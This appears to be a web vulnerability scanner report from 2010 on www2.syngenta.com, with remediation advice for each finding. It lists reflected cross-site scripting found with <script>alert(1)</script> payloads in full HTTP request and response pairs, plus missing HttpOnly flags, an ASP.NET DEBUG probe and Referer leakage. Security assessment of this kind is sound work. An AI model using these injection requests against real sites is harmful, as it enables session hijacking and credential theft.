Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Issue detail

The value of the 42534%3Cscript%3Ealert(1)%3C/script%3E%3CH1%3EHOYT_LLC_PROOF_OF_CONCEPT_11-8-2010_DONT_TRUST_ANYONE_BUT_HOYT_LLC%3CBR%3EWE_HELP_PROTECT_IDENTIFY_AND_QUANTIFY_RISKS_%3CBR%3EWE_ARE_RISK_ANALYSIS_EXPERTS%3CBR%3EWE_UNDERSTAND_CROSS_SITE_SCRIPTING%3C/H1%3E request parameter is copied into the HTML document as plain text between tags. The payload d039b<script>alert(1)</script>1cea584b1ca was submitted in the 42534%3Cscript%3Ealert(1)%3C/script%3E%3CH1%3EHOYT_LLC_PROOF_OF_CONCEPT_11-8-2010_DONT_TRUST_ANYONE_BUT_HOYT_LLC%3CBR%3EWE_HELP_PROTECT_IDENTIFY_AND_QUANTIFY_RISKS_%3CBR%3EWE_ARE_RISK_ANALYSIS_EXPERTS%3CBR%3EWE_UNDERSTAND_CROSS_SITE_SCRIPTING%3C/H1%3E parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/site/countryForIE.asp?42534%3Cscript%3Ealert(1)%3C/script%3E%3CH1%3EHOYT_LLC_PROOF_OF_CONCEPT_11-8-2010_DONT_TRUST_ANYONE_BUT_HOYT_LLC%3CBR%3EWE_HELP_PROTECT_IDENTIFY_AND_QUANTIFY_RISKS_%3CBR%3EWE_ARE_RISK_ANALYSIS_EXPERTS%3CBR%3EWE_UNDERSTAND_CROSS_SITE_SCRIPTING%3C/H1%3Ed039b<script>alert(1)</script>1cea584b1ca HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDSSSABBCR=NJFBJJLALPOCGKIALDPPGKML; __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 18:22:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 446
Content-Type: text/html
Cache-control: private

<html>
<head><script>
function onloaded()
{
parent.setIframeLoaded();
}
</script></head>
<body onload="javascript:onloaded();">42534%3Cscript%3Ealert(1)%3C/script%3E%3CH1%3EHOYT_LLC_PROOF_OF_CONCEPT_11-8-2010_DONT_TRUST_ANYONE_BUT_HOYT_LLC%3CBR%3EWE_HELP_PROTECT_IDENTIFY_AND_QUANTIFY_RISKS_%3CBR%3EWE_ARE_RISK_ANALYSIS_EXPERTS%3CBR%3EWE_UNDERSTAND_CROSS_SITE_SCRIPTING%3C/H1%3Ed039b<script>alert(1)</script>1cea584b1ca</body>
...[SNIP]...

1.2. http://www2.syngenta.com/en/site/countryForIE.asp [42534%3Cscript%3Ealert(1)%3C/script%3E915b17b551b parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Issue detail

The value of the 42534%3Cscript%3Ealert(1)%3C/script%3E915b17b551b request parameter is copied into the HTML document as plain text between tags. The payload e1b4a<script>alert(1)</script>d7f08a2645 was submitted in the 42534%3Cscript%3Ealert(1)%3C/script%3E915b17b551b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/site/countryForIE.asp?42534%3Cscript%3Ealert(1)%3C/script%3E915b17b551b=1e1b4a<script>alert(1)</script>d7f08a2645 HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDSSSABBCR=NJFBJJLALPOCGKIALDPPGKML; __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 18:21:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 245
Content-Type: text/html
Cache-control: private

<html>
<head><script>
function onloaded()
{
parent.setIframeLoaded();
}
</script></head>
<body onload="javascript:onloaded();">42534%3Cscript%3Ealert(1)%3C/script%3E915b17b551b=1e1b4a<script>alert(1)</script>d7f08a2645</body>
...[SNIP]...

1.3. http://www2.syngenta.com/en/site/countryForIE.asp [42534915b17b551b parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Issue detail

The value of the 42534<script>alert(1)</script>915b17b551b request parameter is copied into the HTML document as plain text between tags. The payload 1497c<script>alert(1)</script>8b825141b4 was submitted in the 42534<script>alert(1)</script>915b17b551b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/site/countryForIE.asp?42534<script>alert(1)</script>915b17b551b=11497c<script>alert(1)</script>8b825141b4 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www2.syngenta.com

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 18:25:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 237
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQRBBABR=APJFLIMABFOLGHJHLPCCKKGL; path=/
Cache-control: private

<html>
<head><script>
function onloaded()
{
parent.setIframeLoaded();
}
</script></head>
<body onload="javascript:onloaded();">42534<script>alert(1)</script>915b17b551b=11497c<script>alert(1)</script>8b825141b4</body>
...[SNIP]...

1.4. http://www2.syngenta.com/en/site/countryForIE.asp [42534Hoyt_LLC_Proof_of_Concept_Cross_Site_Scripting parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Issue detail

The value of the 42534<script>alert(1)</script>Hoyt_LLC_Proof_of_Concept_Cross_Site_Scripting request parameter is copied into the HTML document as plain text between tags. The payload efe33<script>alert(1)</script>2494496e63d was submitted in the 42534<script>alert(1)</script>Hoyt_LLC_Proof_of_Concept_Cross_Site_Scripting parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/site/countryForIE.asp?42534<script>alert(1)</script>Hoyt_LLC_Proof_of_Concept_Cross_Site_Scriptingefe33<script>alert(1)</script>2494496e63d HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www2.syngenta.com
Cookie: ASPSESSIONIDSQRBBABR=GOJFLIMAPIMGJJFCACFPDEEG

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 18:25:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 271
Content-Type: text/html
Cache-control: private

<html>
<head><script>
function onloaded()
{
parent.setIframeLoaded();
}
</script></head>
<body onload="javascript:onloaded();">42534<script>alert(1)</script>Hoyt_LLC_Proof_of_Concept_Cross_Site_Scriptingefe33<script>alert(1)</script>2494496e63d</body>
...[SNIP]...

1.5. http://www2.syngenta.com/en/site/countryForIE.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 42534<script>alert(1)</script>915b17b551b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/site/countryForIE.asp?42534<script>alert(1)</script>915b17b551b=1 HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/en/site/contacts.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279; __utmb=102534279.2.10.1289324945

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:52:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 197
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSSSABBCR=DCGBJJLAPJHCGHNPOKMKCEOJ; path=/
Cache-control: private

<html>
<head><script>
function onloaded()
{
parent.setIframeLoaded();
}
</script></head>
<body onload="javascript:onloaded();">42534<script>alert(1)</script>915b17b551b=1</body></html>

2. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/en/site/countryForIE.asp
/en/site/countryForIE.asp

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

2.1. http://www2.syngenta.com/en/site/countryForIE.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDSQRBBABR=LIIFLIMALAHNJMNEOHKAKKFF; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/site/countryForIE.asp?42534%3Cscript%3Ealert(1)%3C/script%3E%3CH1%3EHOYT_LLC_PROOF_OF_CONCEPT_11-8-2010_DONT_TRUST_ANYONE_BUT_HOYT_LLC%3CBR%3EWE_HELP_PROTECT_IDENTIFY_AND_QUANTIFY_RISKS_%3CBR%3EWE_ARE_RISK_ANALYSIS_EXPERTS%3CBR%3EWE_UNDERSTAND_CROSS_SITE_SCRIPTING%3C/H1%3E HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www2.syngenta.com

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 18:22:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 405
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQRBBABR=LIIFLIMALAHNJMNEOHKAKKFF; path=/
Cache-control: private

<html>
<head><script>
function onloaded()
{
parent.setIframeLoaded();
}
</script></head>
<body onload="javascript:onloaded();">42534%3Cscript%3Ealert(1)%3C/script%3E%3CH1%3EHOYT_LLC_PROOF_O
...[SNIP]...

2.2. http://www2.syngenta.com/en/site/countryForIE.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www2.syngenta.com
Path:	/en/site/countryForIE.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDSSSABBCR=OJFBJJLADDDFLOAKCCCGFFLP; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/site/countryForIE.asp HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/en/site/contacts.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279; __utmb=102534279.2.10.1289324945

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:51:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 154
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSSSABBCR=OJFBJJLADDDFLOAKCCCGFFLP; path=/
Cache-control: private

<html>
<head><script>
function onloaded()
{
parent.setIframeLoaded();
}
</script></head>
<body onload="javascript:onloaded();"></body></html>

3. ASP.NET debugging enabled previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www2.syngenta.com
Path:	/Default.aspx

Issue detail

ASP.NET debugging is enabled on the server. The user context used to scan the application does not appear to be permitted to perform debugging, so this is not an immediately exploitable issue. However, if you were able to obtain or guess appropriate platform-level credentials, you may be able to perform debugging.

Issue background

ASP.NET allows remote debugging of web applications, if configured to do so. By default, debugging is subject to access control and requires platform-level authentication.

If an attacker can successfully start a remote debugging session, this is likely to disclose sensitive information about the web application and supporting infrastructure which may be valuable in formulating targetted attacks against the system.

Issue remediation

To disable debugging, open the Web.config file for the application, and find the <compilation> element within the <system.web> section. Set the debug attribute to "false". Note that it is also possible to enable debugging for all applications within the Machine.config file. You should confirm that debug attribute in the <compilation> element has not been set to "true" within the Machine.config file also.

It is strongly recommended that you refer to your platform's documentation relating to this issue, and do not rely solely on the above remediation.

Request

DEBUG /Default.aspx HTTP/1.0
Host: www2.syngenta.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Server: Microsoft-IIS/6.0
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Tue, 09 Nov 2010 17:51:53 GMT
Connection: close
X-Powered-By: ASP.NET
Content-Length: 39

Debug access denied to '/Default.aspx'.

4. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/search_results.html

Issue detail

The page was loaded from a URL containing a query string:

http://www2.syngenta.com/en/site/search_results.html?cx=001951610081263721120%3Anweco6oajvc&cof=FORID%3A9%3BNB%3A1&ie=UTF-8&q=%60&sa=Search

The response contains the following links to other domains:

http://delicious.com/save
http://www.google.com/afsonline/show_afs_search.js

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /en/site/search_results.html?cx=001951610081263721120%3Anweco6oajvc&cof=FORID%3A9%3BNB%3A1&ie=UTF-8&q=%60&sa=Search HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/en/index.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279; __utmb=102534279.1.10.1289324945

Response

HTTP/1.1 200 OK
Content-Length: 27701
Content-Type: text/html
Last-Modified: Wed, 20 Oct 2010 13:59:25 GMT
Accept-Ranges: bytes
ETag: "c76ac15f70cb1:7963"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 09 Nov 2010 17:51:49 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>
   <title>Search Results</title>
   <meta http-equiv="imaget
...[SNIP]...
<![endif]-->
<script type="text/javascript" src="http://www.google.com/afsonline/show_afs_search.js"></script>
...[SNIP]...
</a>
           <a href="http://delicious.com/save" onclick="window.open('http://delicious.com/save?v=5&noui&jump=close&url='+encodeURIComponent(location.href)+'&title='+encodeURIComponent(document.title), 'delicious','toolbar=no,width=550,height=550'); return false;" class="iconFrontLink delicious">Delicious</a>
...[SNIP]...

5. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/search_results.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.google.com/afsonline/show_afs_search.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

6. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/site/contacts.aspx

Issue detail

The following email addresses were disclosed in the response:

Acquisition.talent@syngenta.com
Bond.investors@syngenta.com
Global.hse@syngenta.com
Global.investor_relations@syngenta.com
Global.webmaster@syngenta.com
Media.relations@syngenta.com
Shareholder.services@syngenta.com
csr@syngenta.com
literature.global@syngenta.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /en/site/contacts.aspx HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/en/site/search_results.html?cx=001951610081263721120%3Anweco6oajvc&cof=FORID%3A9%3BNB%3A1&ie=UTF-8&q=%60&sa=Search
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279; __utmb=102534279.2.10.1289324945

Response

HTTP/1.1 200 OK
Date: Tue, 09 Nov 2010 17:51:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 108694

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>

...[SNIP]...
<a href="mailto:Acquisition.talent@syngenta.com">
...[SNIP]...
<a href="mailto:Global.investor_relations@syngenta.com">
...[SNIP]...
<a href="mailto:Acquisition.talent@syngenta.com">
...[SNIP]...
<a href="mailto:Shareholder.services@syngenta.com">
...[SNIP]...
<a href="mailto:Bond.investors@syngenta.com">
...[SNIP]...
<a href="mailto:Media.relations@syngenta.com">
...[SNIP]...
<a href="mailto:literature.global@syngenta.com">
...[SNIP]...
<a href="mailto:csr@syngenta.com">
...[SNIP]...
<a href="mailto:Global.hse@syngenta.com">
...[SNIP]...
<a href="mailto:Global.webmaster@syngenta.com">
...[SNIP]...
<a href="mailto:Global.hse@syngenta.com"></a><a href="mailto:csr@syngenta.com">
...[SNIP]...

7. HTML does not specify charset previous
There are 7 instances of this issue:

/
/en/about_syngenta/index.html
/en/index.html
/en/products_brands/index.html
/en/site/contact_us_new_step2_2.htm
/en/site/countryForIE.asp
/en/site/search_results.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

7.1. http://www2.syngenta.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/

Request

GET / HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 342
Content-Type: text/html
Content-Location: http://www2.syngenta.com/index.html
Last-Modified: Wed, 14 Jul 2010 14:52:09 GMT
Accept-Ranges: bytes
ETag: "60ac8b226423cb1:7955"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 09 Nov 2010 17:49:47 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Syngenta</title>
<meta http-equiv="Refresh" content=
...[SNIP]...

7.2. http://www2.syngenta.com/en/about_syngenta/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/about_syngenta/index.html

Request

GET /en/about_syngenta/index.html HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/en/site/contacts.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=102534279.1289324945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=102534279.1705310206.1289324945.1289324945.1289324945.1; __utmc=102534279; __utmb=102534279.3.10.1289324945; ASPSESSIONIDSSSABBCR=NJFBJJLALPOCGKIALDPPGKML

Response

HTTP/1.1 200 OK
Content-Length: 33326
Content-Type: text/html
Last-Modified: Wed, 20 Oct 2010 13:54:06 GMT
Accept-Ranges: bytes
ETag: "75b730435e70cb1:7963"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 09 Nov 2010 17:52:03 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>
<title>About Syngenta - Syngenta</title>
<meta name
...[SNIP]...

7.3. http://www2.syngenta.com/en/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.syngenta.com
Path:	/en/index.html

Request

GET /en/index.html HTTP/1.1
Host: www2.syngenta.com
Proxy-Connection: keep-alive
Referer: http://www2.syngenta.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 37366
Content-Type: text/html
Last-Modified: Mon, 08 Nov 2010 17:17:15 GMT
Accept-Ranges: bytes
ETag: "bb730ca687fcb1:7963"
Server: Microsoft-IIS/6.0
